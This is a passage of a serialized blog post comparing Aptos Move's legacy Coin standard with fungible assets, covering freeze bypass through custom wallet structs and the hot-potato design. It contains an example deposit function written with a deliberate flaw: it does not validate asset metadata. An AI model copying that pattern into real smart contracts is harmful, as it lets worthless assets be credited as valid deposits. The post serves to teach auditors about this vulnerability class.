",{"type":21,"tag":66,"props":61528,"children":61530},{"className":61529},[],[61531],{"type":26,"value":61532},"Coin\u003COtter>",{"type":26,"value":11408},{"type":21,"tag":66,"props":61535,"children":61537},{"className":61536},[],[61538],{"type":26,"value":61539},"Coin\u003CWeasel>",{"type":26,"value":61541}," represent different coins, and you cannot pass a ",{"type":21,"tag":66,"props":61543,"children":61545},{"className":61544},[],[61546],{"type":26,"value":61539},{"type":26,"value":61548}," to a function expecting ",{"type":21,"tag":66,"props":61550,"children":61552},{"className":61551},[],[61553],{"type":26,"value":61532},{"type":26,"value":73},{"type":21,"tag":22,"props":61556,"children":61557},{},[61558,61560,61565,61567,61572,61574,61579,61581,61587],{"type":26,"value":61559},"The type signature reveals why ",{"type":21,"tag":66,"props":61561,"children":61563},{"className":61562},[],[61564],{"type":26,"value":61424},{"type":26,"value":61566}," has become a legacy standard. ",{"type":21,"tag":66,"props":61568,"children":61570},{"className":61569},[],[61571],{"type":26,"value":61424},{"type":26,"value":61573}," has only the ",{"type":21,"tag":66,"props":61575,"children":61577},{"className":61576},[],[61578],{"type":26,"value":261},{"type":26,"value":61580}," ability and uses a ",{"type":21,"tag":66,"props":61582,"children":61584},{"className":61583},[],[61585],{"type":26,"value":61586},"CoinStore",{"type":26,"value":61588}," wrapper to store the coin and metadata:",{"type":21,"tag":75,"props":61590,"children":61592},{"className":77,"code":61591,"language":79,"meta":7,"style":7},"struct CoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>,\n    frozen: bool,\n    deposit_events: EventHandle\u003CDepositEvent>,\n    withdraw_events: EventHandle\u003CWithdrawEvent>,\n}\n",[61593],{"type":21,"tag":66,"props":61594,"children":61595},{"__ignoreMap":7},[61596,61636,61664,61684,61714,61743],{"type":21,"tag":85,"props":61597,"children":61598},{"class":87,"line":88},[61599,61603,61608,61612,61616,61620,61624,61628,61632],{"type":21,"tag":85,"props":61600,"children":61601},{"style":102},[61602],{"type":26,"value":9814},{"type":21,"tag":85,"props":61604,"children":61605},{"style":108},[61606],{"type":26,"value":61607}," CoinStore",{"type":21,"tag":85,"props":61609,"children":61610},{"style":114},[61611],{"type":26,"value":117},{"type":21,"tag":85,"props":61613,"children":61614},{"style":120},[61615],{"type":26,"value":123},{"type":21,"tag":85,"props":61617,"children":61618},{"style":108},[61619],{"type":26,"value":128},{"type":21,"tag":85,"props":61621,"children":61622},{"style":114},[61623],{"type":26,"value":133},{"type":21,"tag":85,"props":61625,"children":61626},{"style":120},[61627],{"type":26,"value":138},{"type":21,"tag":85,"props":61629,"children":61630},{"style":120},[61631],{"type":26,"value":251},{"type":21,"tag":85,"props":61633,"children":61634},{"style":114},[61635],{"type":26,"value":148},{"type":21,"tag":85,"props":61637,"children":61638},{"class":87,"line":98},[61639,61644,61648,61652,61656,61660],{"type":21,"tag":85,"props":61640,"children":61641},{"style":120},[61642],{"type":26,"value":61643},"    coin",{"type":21,"tag":85,"props":61645,"children":61646},{"style":169},[61647],{"type":26,"value":172},{"type":21,"tag":85,"props":61649,"children":61650},{"style":108},[61651],{"type":26,"value":111},{"type":21,"tag":85,"props":61653,"children":61654},{"style":114},[61655],{"type":26,"value":117},{"type":21,"tag":85,"props":61657,"children":61658},{"style":108},[61659],{"type":26,"value":919},{"type":21,"tag":85,"props":61661,"children":61662},{"style":114},[61663],{"type":26,"value":461},{"type":21,"tag":85,"props":61665,"children":61666},{"class":87,"line":151},[61667,61672,61676,61680],{"type":21,"tag":85,"props":61668,"children":61669},{"style":120},[61670],{"type":26,"value":61671},"    frozen",{"type":21,"tag":85,"props":61673,"children":61674},{"style":169},[61675],{"type":26,"value":172},{"type":21,"tag":85,"props":61677,"children":61678},{"style":108},[61679],{"type":26,"value":12467},{"type":21,"tag":85,"props":61681,"children":61682},{"style":114},[61683],{"type":26,"value":182},{"type":21,"tag":85,"props":61685,"children":61686},{"class":87,"line":160},[61687,61692,61696,61701,61705,61710],{"type":21,"tag":85,"props":61688,"children":61689},{"style":120},[61690],{"type":26,"value":61691},"    deposit_events",{"type":21,"tag":85,"props":61693,"children":61694},{"style":169},[61695],{"type":26,"value":172},{"type":21,"tag":85,"props":61697,"children":61698},{"style":108},[61699],{"type":26,"value":61700}," EventHandle",{"type":21,"tag":85,"props":61702,"children":61703},{"style":114},[61704],{"type":26,"value":117},{"type":21,"tag":85,"props":61706,"children":61707},{"style":108},[61708],{"type":26,"value":61709},"DepositEvent",{"type":21,"tag":85,"props":61711,"children":61712},{"style":114},[61713],{"type":26,"value":461},{"type":21,"tag":85,"props":61715,"children":61716},{"class":87,"line":185},[61717,61722,61726,61730,61734,61739],{"type":21,"tag":85,"props":61718,"children":61719},{"style":120},[61720],{"type":26,"value":61721},"    withdraw_events",{"type":21,"tag":85,"props":61723,"children":61724},{"style":169},[61725],{"type":26,"value":172},{"type":21,"tag":85,"props":61727,"children":61728},{"style":108},[61729],{"type":26,"value":61700},{"type":21,"tag":85,"props":61731,"children":61732},{"style":114},[61733],{"type":26,"value":117},{"type":21,"tag":85,"props":61735,"children":61736},{"style":108},[61737],{"type":26,"value":61738},"WithdrawEvent",{"type":21,"tag":85,"props":61740,"children":61741},{"style":114},[61742],{"type":26,"value":461},{"type":21,"tag":85,"props":61744,"children":61745},{"class":87,"line":501},[61746],{"type":21,"tag":85,"props":61747,"children":61748},{"style":114},[61749],{"type":26,"value":2671},{"type":21,"tag":22,"props":61751,"children":61752},{},[61753,61755,61760,61762,61767],{"type":26,"value":61754},"However, an astute reader would note that this isn't the only place a ",{"type":21,"tag":66,"props":61756,"children":61758},{"className":61757},[],[61759],{"type":26,"value":61424},{"type":26,"value":61761}," can be stored. You can create your own ",{"type":21,"tag":66,"props":61763,"children":61765},{"className":61764},[],[61766],{"type":26,"value":61424},{"type":26,"value":61768}," wallet, which could look like this:",{"type":21,"tag":75,"props":61770,"children":61772},{"className":77,"code":61771,"language":79,"meta":7,"style":7},"struct DefinitelyLegitCoinStore\u003Cphantom CoinType> has key {\n    coin: Coin\u003CCoinType>\n}\n",[61773],{"type":21,"tag":66,"props":61774,"children":61775},{"__ignoreMap":7},[61776,61816,61843],{"type":21,"tag":85,"props":61777,"children":61778},{"class":87,"line":88},[61779,61783,61788,61792,61796,61800,61804,61808,61812],{"type":21,"tag":85,"props":61780,"children":61781},{"style":102},[61782],{"type":26,"value":9814},{"type":21,"tag":85,"props":61784,"children":61785},{"style":108},[61786],{"type":26,"value":61787}," DefinitelyLegitCoinStore",{"type":21,"tag":85,"props":61789,"children":61790},{"style":114},[61791],{"type":26,"value":117},{"type":21,"tag":85,"props":61793,"children":61794},{"style":120},[61795],{"type":26,"value":123},{"type":21,"tag":85,"props":61797,"children":61798},{"style":108},[61799],{"type":26,"value":128},{"type":21,"tag":85,"props":61801,"children":61802},{"style":114},[61803],{"type":26,"value":133},{"type":21,"tag":85,"props":61805,"children":61806},{"style":120},[61807],{"type":26,"value":138},{"type":21,"tag":85,"props":61809,"children":61810},{"style":120},[61811],{"type":26,"value":251},{"type":21,"tag":85,"props":61813,"children":61814},{"style":114},[61815],{"type":26,"value":148},{"type":21,"tag":85,"props":61817,"children":61818},{"class":87,"line":98},[61819,61823,61827,61831,61835,61839],{"type":21,"tag":85,"props":61820,"children":61821},{"style":120},[61822],{"type":26,"value":61643},{"type":21,"tag":85,"props":61824,"children":61825},{"style":169},[61826],{"type":26,"value":172},{"type":21,"tag":85,"props":61828,"children":61829},{"style":108},[61830],{"type":26,"value":111},{"type":21,"tag":85,"props":61832,"children":61833},{"style":114},[61834],{"type":26,"value":117},{"type":21,"tag":85,"props":61836,"children":61837},{"style":108},[61838],{"type":26,"value":919},{"type":21,"tag":85,"props":61840,"children":61841},{"style":114},[61842],{"type":26,"value":313},{"type":21,"tag":85,"props":61844,"children":61845},{"class":87,"line":151},[61846],{"type":21,"tag":85,"props":61847,"children":61848},{"style":114},[61849],{"type":26,"value":2671},{"type":21,"tag":22,"props":61851,"children":61852},{},[61853,61858,61860,61866,61868,61873,61875,61881,61883,61888],{"type":21,"tag":66,"props":61854,"children":61856},{"className":61855},[],[61857],{"type":26,"value":61586},{"type":26,"value":61859}," includes a ",{"type":21,"tag":66,"props":61861,"children":61863},{"className":61862},[],[61864],{"type":26,"value":61865},"frozen",{"type":26,"value":61867}," field, allowing the issuer to block transfers to and from the store. ",{"type":21,"tag":66,"props":61869,"children":61871},{"className":61870},[],[61872],{"type":26,"value":61586},{"type":26,"value":61874}," is also required for a ",{"type":21,"tag":66,"props":61876,"children":61878},{"className":61877},[],[61879],{"type":26,"value":61880},"burn_from",{"type":26,"value":61882}," operation, which withdraws the ",{"type":21,"tag":66,"props":61884,"children":61886},{"className":61885},[],[61887],{"type":26,"value":61391},{"type":26,"value":61889}," from the store and destroys it. Freezing and burning operations are essential i.e. for stablecoin issuers, using them as compliance tools to prevent unauthorized or illegal transactions and adhere to legal orders. Being able to bypass these restrictions with a custom wallet is an issue and can lead to severe consequences.",{"type":21,"tag":22,"props":61891,"children":61892},{},[61893,61895,61900,61902,61909,61911,61916],{"type":26,"value":61894},"Storing ",{"type":21,"tag":66,"props":61896,"children":61898},{"className":61897},[],[61899],{"type":26,"value":61391},{"type":26,"value":61901}," in a custom wallet is also a problem in terms of off-chain observability, as finding the stored coins in such setup is a difficult task. This is how the fungible asset ",{"type":21,"tag":335,"props":61903,"children":61906},{"href":61904,"rel":61905},"https://github.com/aptos-foundation/AIPs/blob/ac3da48db226cf2dbaf4df6f1f5109a4f1b2e604/aips/aip-21.md",[339],[61907],{"type":26,"value":61908},"AIP-21",{"type":26,"value":61910}," summarizes the ",{"type":21,"tag":66,"props":61912,"children":61914},{"className":61913},[],[61915],{"type":26,"value":61391},{"type":26,"value":61917}," problems:",{"type":21,"tag":3712,"props":61919,"children":61920},{},[61921,61930],{"type":21,"tag":22,"props":61922,"children":61923},{},[61924,61928],{"type":21,"tag":85,"props":61925,"children":61926},{},[61927],{"type":26,"value":10004},{"type":26,"value":61929}," coin module has been deemed insufficient for current and future needs due to the rigidity of Move structs and the inherently poor extensibility.",{"type":21,"tag":22,"props":61931,"children":61932},{},[61933],{"type":26,"value":61934},"The existing Coin struct leverages the store ability allowing for assets on-chain to become untraceable. Creating challenges to off-chain observability and on-chain management, such as freezing or burning.",{"type":21,"tag":22,"props":61936,"children":61937},{},[61938],{"type":26,"value":61939},"And declares, that:",{"type":21,"tag":3712,"props":61941,"children":61942},{},[61943],{"type":21,"tag":22,"props":61944,"children":61945},{},[61946],{"type":26,"value":61947},"Fungible assets addresses these issues.",{"type":21,"tag":22,"props":61949,"children":61950},{},[61951],{"type":26,"value":61952},"Let's find out whether this is indeed the case.",{"type":21,"tag":54,"props":61954,"children":61956},{"id":61955},"the-fungible-assets",[61957],{"type":26,"value":61958},"The fungible assets",{"type":21,"tag":22,"props":61960,"children":61961},{},[61962,61964,61970,61972,61979],{"type":26,"value":61963},"Aptos designed fungible assets as a new token standard to solve these problems. A ",{"type":21,"tag":66,"props":61965,"children":61967},{"className":61966},[],[61968],{"type":26,"value":61969},"FungibleAsset",{"type":26,"value":61971}," uses the ",{"type":21,"tag":335,"props":61973,"children":61976},{"href":61974,"rel":61975},"https://medium.com/@borispovod/move-hot-potato-pattern-bbc48a48d93c",[339],[61977],{"type":26,"value":61978},"hot-potato pattern",{"type":26,"value":172},{"type":21,"tag":75,"props":61981,"children":61983},{"className":77,"code":61982,"language":79,"meta":7,"style":7},"struct FungibleAsset {\n    metadata: Object\u003CMetadata>,\n    amount: u64,\n}\n",[61984],{"type":21,"tag":66,"props":61985,"children":61986},{"__ignoreMap":7},[61987,62003,62033,62053],{"type":21,"tag":85,"props":61988,"children":61989},{"class":87,"line":88},[61990,61994,61999],{"type":21,"tag":85,"props":61991,"children":61992},{"style":102},[61993],{"type":26,"value":9814},{"type":21,"tag":85,"props":61995,"children":61996},{"style":108},[61997],{"type":26,"value":61998}," FungibleAsset",{"type":21,"tag":85,"props":62000,"children":62001},{"style":114},[62002],{"type":26,"value":148},{"type":21,"tag":85,"props":62004,"children":62005},{"class":87,"line":98},[62006,62011,62015,62020,62024,62029],{"type":21,"tag":85,"props":62007,"children":62008},{"style":120},[62009],{"type":26,"value":62010},"    metadata",{"type":21,"tag":85,"props":62012,"children":62013},{"style":169},[62014],{"type":26,"value":172},{"type":21,"tag":85,"props":62016,"children":62017},{"style":108},[62018],{"type":26,"value":62019}," Object",{"type":21,"tag":85,"props":62021,"children":62022},{"style":114},[62023],{"type":26,"value":117},{"type":21,"tag":85,"props":62025,"children":62026},{"style":108},[62027],{"type":26,"value":62028},"Metadata",{"type":21,"tag":85,"props":62030,"children":62031},{"style":114},[62032],{"type":26,"value":461},{"type":21,"tag":85,"props":62034,"children":62035},{"class":87,"line":151},[62036,62041,62045,62049],{"type":21,"tag":85,"props":62037,"children":62038},{"style":120},[62039],{"type":26,"value":62040},"    amount",{"type":21,"tag":85,"props":62042,"children":62043},{"style":169},[62044],{"type":26,"value":172},{"type":21,"tag":85,"props":62046,"children":62047},{"style":108},[62048],{"type":26,"value":177},{"type":21,"tag":85,"props":62050,"children":62051},{"style":114},[62052],{"type":26,"value":182},{"type":21,"tag":85,"props":62054,"children":62055},{"class":87,"line":160},[62056],{"type":21,"tag":85,"props":62057,"children":62058},{"style":114},[62059],{"type":26,"value":2671},{"type":21,"tag":22,"props":62061,"children":62062},{},[62063,62065,62070,62071,62076,62078,62083,62085,62092],{"type":26,"value":62064},"Unlike ",{"type":21,"tag":66,"props":62066,"children":62068},{"className":62067},[],[62069],{"type":26,"value":61424},{"type":26,"value":256},{"type":21,"tag":66,"props":62072,"children":62074},{"className":62073},[],[62075],{"type":26,"value":61969},{"type":26,"value":62077}," types are defined at runtime through the ",{"type":21,"tag":66,"props":62079,"children":62081},{"className":62080},[],[62082],{"type":26,"value":62028},{"type":26,"value":62084}," field. This change was meant to ",{"type":21,"tag":335,"props":62086,"children":62089},{"href":62087,"rel":62088},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-21.md#specification",[339],[62090],{"type":26,"value":62091},"enhance extensibility",{"type":26,"value":172},{"type":21,"tag":3712,"props":62094,"children":62095},{},[62096],{"type":21,"tag":22,"props":62097,"children":62098},{},[62099],{"type":26,"value":62100},"An object can have other resources attached to provide additional context. For example, the metadata could define a gem of a given type, color, quality, and rarity, where ownership indicates the quantity or total weight owned of that type of gem.",{"type":21,"tag":22,"props":62102,"children":62103},{},[62104,62106,62112],{"type":26,"value":62105},"An important implication is that functions accepting ",{"type":21,"tag":66,"props":62107,"children":62109},{"className":62108},[],[62110],{"type":26,"value":62111},"FungibleAssets",{"type":26,"value":62113}," must verify the metadata to ensure valid assets.",{"type":21,"tag":22,"props":62115,"children":62116},{},[62117],{"type":26,"value":62118},"Let's consider a possible implementation of a protocol that takes in assets.",{"type":21,"tag":75,"props":62120,"children":62122},{"className":77,"code":62121,"language":79,"meta":7,"style":7},"public fun deposit\u003CT: key>(\n    sender: &signer, fa: FungibleAsset\n) acquires [...] {\n    assert_not_paused();\n    \n    let fa_amount = fungible_asset::amount(&fa);\n    let sender_address = address_of(sender);\n    check_compliance(fa_amount, sender_address);\n    \n    increase_deposit(get_vault(sender_address), fa_amount);\n    \n    primary_fungible_store::deposit(global_vault_address(), fa);\n    \n    event::emit(Deposit {sender_address, fa_amount})\n}\n",[62123],{"type":21,"tag":66,"props":62124,"children":62125},{"__ignoreMap":7},[62126,62163,62201,62225,62237,62245,62290,62324,62354,62361,62398,62405,62443,62450,62496],{"type":21,"tag":85,"props":62127,"children":62128},{"class":87,"line":88},[62129,62134,62138,62143,62147,62151,62155,62159],{"type":21,"tag":85,"props":62130,"children":62131},{"style":120},[62132],{"type":26,"value":62133},"public",{"type":21,"tag":85,"props":62135,"children":62136},{"style":120},[62137],{"type":26,"value":532},{"type":21,"tag":85,"props":62139,"children":62140},{"style":120},[62141],{"type":26,"value":62142}," deposit",{"type":21,"tag":85,"props":62144,"children":62145},{"style":114},[62146],{"type":26,"value":117},{"type":21,"tag":85,"props":62148,"children":62149},{"style":108},[62150],{"type":26,"value":308},{"type":21,"tag":85,"props":62152,"children":62153},{"style":169},[62154],{"type":26,"value":172},{"type":21,"tag":85,"props":62156,"children":62157},{"style":120},[62158],{"type":26,"value":251},{"type":21,"tag":85,"props":62160,"children":62161},{"style":114},[62162],{"type":26,"value":924},{"type":21,"tag":85,"props":62164,"children":62165},{"class":87,"line":98},[62166,62171,62175,62179,62183,62187,62192,62196],{"type":21,"tag":85,"props":62167,"children":62168},{"style":120},[62169],{"type":26,"value":62170},"    sender",{"type":21,"tag":85,"props":62172,"children":62173},{"style":169},[62174],{"type":26,"value":172},{"type":21,"tag":85,"props":62176,"children":62177},{"style":169},[62178],{"type":26,"value":1487},{"type":21,"tag":85,"props":62180,"children":62181},{"style":120},[62182],{"type":26,"value":1492},{"type":21,"tag":85,"props":62184,"children":62185},{"style":114},[62186],{"type":26,"value":256},{"type":21,"tag":85,"props":62188,"children":62189},{"style":120},[62190],{"type":26,"value":62191},"fa",{"type":21,"tag":85,"props":62193,"children":62194},{"style":169},[62195],{"type":26,"value":172},{"type":21,"tag":85,"props":62197,"children":62198},{"style":108},[62199],{"type":26,"value":62200}," FungibleAsset\n",{"type":21,"tag":85,"props":62202,"children":62203},{"class":87,"line":151},[62204,62208,62212,62216,62220],{"type":21,"tag":85,"props":62205,"children":62206},{"style":114},[62207],{"type":26,"value":736},{"type":21,"tag":85,"props":62209,"children":62210},{"style":120},[62211],{"type":26,"value":669},{"type":21,"tag":85,"props":62213,"children":62214},{"style":114},[62215],{"type":26,"value":23461},{"type":21,"tag":85,"props":62217,"children":62218},{"style":169},[62219],{"type":26,"value":10004},{"type":21,"tag":85,"props":62221,"children":62222},{"style":114},[62223],{"type":26,"value":62224},"] {\n",{"type":21,"tag":85,"props":62226,"children":62227},{"class":87,"line":160},[62228,62233],{"type":21,"tag":85,"props":62229,"children":62230},{"style":1021},[62231],{"type":26,"value":62232},"    assert_not_paused",{"type":21,"tag":85,"props":62234,"children":62235},{"style":114},[62236],{"type":26,"value":4437},{"type":21,"tag":85,"props":62238,"children":62239},{"class":87,"line":185},[62240],{"type":21,"tag":85,"props":62241,"children":62242},{"style":114},[62243],{"type":26,"value":62244},"    \n",{"type":21,"tag":85,"props":62246,"children":62247},{"class":87,"line":501},[62248,62252,62257,62261,62266,62270,62274,62278,62282,62286],{"type":21,"tag":85,"props":62249,"children":62250},{"style":102},[62251],{"type":26,"value":3778},{"type":21,"tag":85,"props":62253,"children":62254},{"style":120},[62255],{"type":26,"value":62256}," fa_amount",{"type":21,"tag":85,"props":62258,"children":62259},{"style":169},[62260],{"type":26,"value":1941},{"type":21,"tag":85,"props":62262,"children":62263},{"style":114},[62264],{"type":26,"value":62265}," fungible_asset",{"type":21,"tag":85,"props":62267,"children":62268},{"style":169},[62269],{"type":26,"value":1087},{"type":21,"tag":85,"props":62271,"children":62272},{"style":1021},[62273],{"type":26,"value":20734},{"type":21,"tag":85,"props":62275,"children":62276},{"style":114},[62277],{"type":26,"value":1439},{"type":21,"tag":85,"props":62279,"children":62280},{"style":169},[62281],{"type":26,"value":2238},{"type":21,"tag":85,"props":62283,"children":62284},{"style":120},[62285],{"type":26,"value":62191},{"type":21,"tag":85,"props":62287,"children":62288},{"style":114},[62289],{"type":26,"value":777},{"type":21,"tag":85,"props":62291,"children":62292},{"class":87,"line":697},[62293,62297,62302,62306,62311,62315,62320],{"type":21,"tag":85,"props":62294,"children":62295},{"style":102},[62296],{"type":26,"value":3778},{"type":21,"tag":85,"props":62298,"children":62299},{"style":120},[62300],{"type":26,"value":62301}," sender_address",{"type":21,"tag":85,"props":62303,"children":62304},{"style":169},[62305],{"type":26,"value":1941},{"type":21,"tag":85,"props":62307,"children":62308},{"style":1021},[62309],{"type":26,"value":62310}," address_of",{"type":21,"tag":85,"props":62312,"children":62313},{"style":114},[62314],{"type":26,"value":1439},{"type":21,"tag":85,"props":62316,"children":62317},{"style":120},[62318],{"type":26,"value":62319},"sender",{"type":21,"tag":85,"props":62321,"children":62322},{"style":114},[62323],{"type":26,"value":777},{"type":21,"tag":85,"props":62325,"children":62326},{"class":87,"line":706},[62327,62332,62336,62341,62345,62350],{"type":21,"tag":85,"props":62328,"children":62329},{"style":1021},[62330],{"type":26,"value":62331},"    check_compliance",{"type":21,"tag":85,"props":62333,"children":62334},{"style":114},[62335],{"type":26,"value":1439},{"type":21,"tag":85,"props":62337,"children":62338},{"style":120},[62339],{"type":26,"value":62340},"fa_amount",{"type":21,"tag":85,"props":62342,"children":62343},{"style":114},[62344],{"type":26,"value":256},{"type":21,"tag":85,"props":62346,"children":62347},{"style":120},[62348],{"type":26,"value":62349},"sender_address",{"type":21,"tag":85,"props":62351,"children":62352},{"style":114},[62353],{"type":26,"value":777},{"type":21,"tag":85,"props":62355,"children":62356},{"class":87,"line":1100},[62357],{"type":21,"tag":85,"props":62358,"children":62359},{"style":114},[62360],{"type":26,"value":62244},{"type":21,"tag":85,"props":62362,"children":62363},{"class":87,"line":1339},[62364,62369,62373,62378,62382,62386,62390,62394],{"type":21,"tag":85,"props":62365,"children":62366},{"style":1021},[62367],{"type":26,"value":62368},"    increase_deposit",{"type":21,"tag":85,"props":62370,"children":62371},{"style":114},[62372],{"type":26,"value":1439},{"type":21,"tag":85,"props":62374,"children":62375},{"style":1021},[62376],{"type":26,"value":62377},"get_vault",{"type":21,"tag":85,"props":62379,"children":62380},{"style":114},[62381],{"type":26,"value":1439},{"type":21,"tag":85,"props":62383,"children":62384},{"style":120},[62385],{"type":26,"value":62349},{"type":21,"tag":85,"props":62387,"children":62388},{"style":114},[62389],{"type":26,"value":15596},{"type":21,"tag":85,"props":62391,"children":62392},{"style":120},[62393],{"type":26,"value":62340},{"type":21,"tag":85,"props":62395,"children":62396},{"style":114},[62397],{"type":26,"value":777},{"type":21,"tag":85,"props":62399,"children":62400},{"class":87,"line":1348},[62401],{"type":21,"tag":85,"props":62402,"children":62403},{"style":114},[62404],{"type":26,"value":62244},{"type":21,"tag":85,"props":62406,"children":62407},{"class":87,"line":1386},[62408,62413,62417,62422,62426,62431,62435,62439],{"type":21,"tag":85,"props":62409,"children":62410},{"style":114},[62411],{"type":26,"value":62412},"    primary_fungible_store",{"type":21,"tag":85,"props":62414,"children":62415},{"style":169},[62416],{"type":26,"value":1087},{"type":21,"tag":85,"props":62418,"children":62419},{"style":1021},[62420],{"type":26,"value":62421},"deposit",{"type":21,"tag":85,"props":62423,"children":62424},{"style":114},[62425],{"type":26,"value":1439},{"type":21,"tag":85,"props":62427,"children":62428},{"style":1021},[62429],{"type":26,"value":62430},"global_vault_address",{"type":21,"tag":85,"props":62432,"children":62433},{"style":114},[62434],{"type":26,"value":18799},{"type":21,"tag":85,"props":62436,"children":62437},{"style":120},[62438],{"type":26,"value":62191},{"type":21,"tag":85,"props":62440,"children":62441},{"style":114},[62442],{"type":26,"value":777},{"type":21,"tag":85,"props":62444,"children":62445},{"class":87,"line":1394},[62446],{"type":21,"tag":85,"props":62447,"children":62448},{"style":114},[62449],{"type":26,"value":62244},{"type":21,"tag":85,"props":62451,"children":62452},{"class":87,"line":1402},[62453,62458,62462,62467,62471,62476,62480,62484,62488,62492],{"type":21,"tag":85,"props":62454,"children":62455},{"style":114},[62456],{"type":26,"value":62457},"    event",{"type":21,"tag":85,"props":62459,"children":62460},{"style":169},[62461],{"type":26,"value":1087},{"type":21,"tag":85,"props":62463,"children":62464},{"style":1021},[62465],{"type":26,"value":62466},"emit",{"type":21,"tag":85,"props":62468,"children":62469},{"style":114},[62470],{"type":26,"value":1439},{"type":21,"tag":85,"props":62472,"children":62473},{"style":108},[62474],{"type":26,"value":62475},"Deposit",{"type":21,"tag":85,"props":62477,"children":62478},{"style":114},[62479],{"type":26,"value":45671},{"type":21,"tag":85,"props":62481,"children":62482},{"style":120},[62483],{"type":26,"value":62349},{"type":21,"tag":85,"props":62485,"children":62486},{"style":114},[62487],{"type":26,"value":256},{"type":21,"tag":85,"props":62489,"children":62490},{"style":120},[62491],{"type":26,"value":62340},{"type":21,"tag":85,"props":62493,"children":62494},{"style":114},[62495],{"type":26,"value":33468},{"type":21,"tag":85,"props":62497,"children":62498},{"class":87,"line":3145},[62499],{"type":21,"tag":85,"props":62500,"children":62501},{"style":114},[62502],{"type":26,"value":2671},{"type":21,"tag":22,"props":62504,"children":62505},{},[62506],{"type":26,"value":62507},"Do you see any problems here? The application does not validate or differentiate fungible assets using their metadata, which causes all fungible asset deposits to be treated as identical.",{"type":21,"tag":22,"props":62509,"children":62510},{},[62511],{"type":26,"value":62512},"While these bugs aren't partiularly complex, they do represent an additional vulnerability class that must be checked for.",{"type":21,"tag":54,"props":62514,"children":62516},{"id":62515},"fungible-stores",[62517],{"type":26,"value":62518},"Fungible stores",{"type":21,"tag":22,"props":62520,"children":62521},{},[62522],{"type":26,"value":62523},"As mentioned, fungible assets are hot potatoes, meaning they must be destroyed after each transaction. If they lack abilities, how can they be used?",{"type":21,"tag":22,"props":62525,"children":62526},{},[62527,62529,62535],{"type":26,"value":62528},"Meet the ",{"type":21,"tag":66,"props":62530,"children":62532},{"className":62531},[],[62533],{"type":26,"value":62534},"FungibleStore",{"type":26,"value":73},{"type":21,"tag":75,"props":62537,"children":62539},{"className":77,"code":62538,"language":79,"meta":7,"style":7},"struct FungibleStore has key {\n    metadata: Object\u003CMetadata>,\n    balance: u64,\n    frozen: bool,\n}\n",[62540],{"type":21,"tag":66,"props":62541,"children":62542},{"__ignoreMap":7},[62543,62567,62594,62614,62633],{"type":21,"tag":85,"props":62544,"children":62545},{"class":87,"line":88},[62546,62550,62555,62559,62563],{"type":21,"tag":85,"props":62547,"children":62548},{"style":102},[62549],{"type":26,"value":9814},{"type":21,"tag":85,"props":62551,"children":62552},{"style":108},[62553],{"type":26,"value":62554}," FungibleStore",{"type":21,"tag":85,"props":62556,"children":62557},{"style":120},[62558],{"type":26,"value":9823},{"type":21,"tag":85,"props":62560,"children":62561},{"style":120},[62562],{"type":26,"value":251},{"type":21,"tag":85,"props":62564,"children":62565},{"style":114},[62566],{"type":26,"value":148},{"type":21,"tag":85,"props":62568,"children":62569},{"class":87,"line":98},[62570,62574,62578,62582,62586,62590],{"type":21,"tag":85,"props":62571,"children":62572},{"style":120},[62573],{"type":26,"value":62010},{"type":21,"tag":85,"props":62575,"children":62576},{"style":169},[62577],{"type":26,"value":172},{"type":21,"tag":85,"props":62579,"children":62580},{"style":108},[62581],{"type":26,"value":62019},{"type":21,"tag":85,"props":62583,"children":62584},{"style":114},[62585],{"type":26,"value":117},{"type":21,"tag":85,"props":62587,"children":62588},{"style":108},[62589],{"type":26,"value":62028},{"type":21,"tag":85,"props":62591,"children":62592},{"style":114},[62593],{"type":26,"value":461},{"type":21,"tag":85,"props":62595,"children":62596},{"class":87,"line":151},[62597,62602,62606,62610],{"type":21,"tag":85,"props":62598,"children":62599},{"style":120},[62600],{"type":26,"value":62601},"    balance",{"type":21,"tag":85,"props":62603,"children":62604},{"style":169},[62605],{"type":26,"value":172},{"type":21,"tag":85,"props":62607,"children":62608},{"style":108},[62609],{"type":26,"value":177},{"type":21,"tag":85,"props":62611,"children":62612},{"style":114},[62613],{"type":26,"value":182},{"type":21,"tag":85,"props":62615,"children":62616},{"class":87,"line":160},[62617,62621,62625,62629],{"type":21,"tag":85,"props":62618,"children":62619},{"style":120},[62620],{"type":26,"value":61671},{"type":21,"tag":85,"props":62622,"children":62623},{"style":169},[62624],{"type":26,"value":172},{"type":21,"tag":85,"props":62626,"children":62627},{"style":108},[62628],{"type":26,"value":12467},{"type":21,"tag":85,"props":62630,"children":62631},{"style":114},[62632],{"type":26,"value":182},{"type":21,"tag":85,"props":62634,"children":62635},{"class":87,"line":185},[62636],{"type":21,"tag":85,"props":62637,"children":62638},{"style":114},[62639],{"type":26,"value":2671},{"type":21,"tag":22,"props":62641,"children":62642},{},[62643,62648,62650,62655,62657,62662,62664,62669,62671,62676],{"type":21,"tag":66,"props":62644,"children":62646},{"className":62645},[],[62647],{"type":26,"value":62534},{"type":26,"value":62649}," manages balances and metadata instead of holding the actual ",{"type":21,"tag":66,"props":62651,"children":62653},{"className":62652},[],[62654],{"type":26,"value":61969},{"type":26,"value":62656}," (it can't because ",{"type":21,"tag":66,"props":62658,"children":62660},{"className":62659},[],[62661],{"type":26,"value":61969},{"type":26,"value":62663}," doesn't have ",{"type":21,"tag":66,"props":62665,"children":62667},{"className":62666},[],[62668],{"type":26,"value":261},{"type":26,"value":62670},"). Withdrawals create temporary ",{"type":21,"tag":66,"props":62672,"children":62674},{"className":62673},[],[62675],{"type":26,"value":61969},{"type":26,"value":62677}," resources, while deposits destroy them and update the balance. This design prevents freezing bypasses and improves observability.",{"type":21,"tag":19218,"props":62679,"children":62680},{},[],{"type":21,"tag":22,"props":62682,"children":62683},{},[62684,62686,62691,62693,62698],{"type":26,"value":62685},"A curious reader might wonder, is there any other way to create or destroy a ",{"type":21,"tag":66,"props":62687,"children":62689},{"className":62688},[],[62690],{"type":26,"value":61969},{"type":26,"value":62692}," besides withdrawing, depositing or minting it? There is — anyone can create and destroy a zero-value ",{"type":21,"tag":66,"props":62694,"children":62696},{"className":62695},[],[62697],{"type":26,"value":61969},{"type":26,"value":73},{"type":21,"tag":75,"props":62700,"children":62702},{"className":77,"code":62701,"language":79,"meta":7,"style":7},"public fun destroy_zero(fungible_asset: FungibleAsset) {\n    let FungibleAsset { amount, metadata: _ } = fungible_asset;\n    assert!(amount == 0, error::invalid_argument(EAMOUNT_IS_NOT_ZERO));\n}\n\npublic fun zero\u003CT: key>(metadata: Object\u003CT>): FungibleAsset {\n    FungibleAsset {\n        metadata: 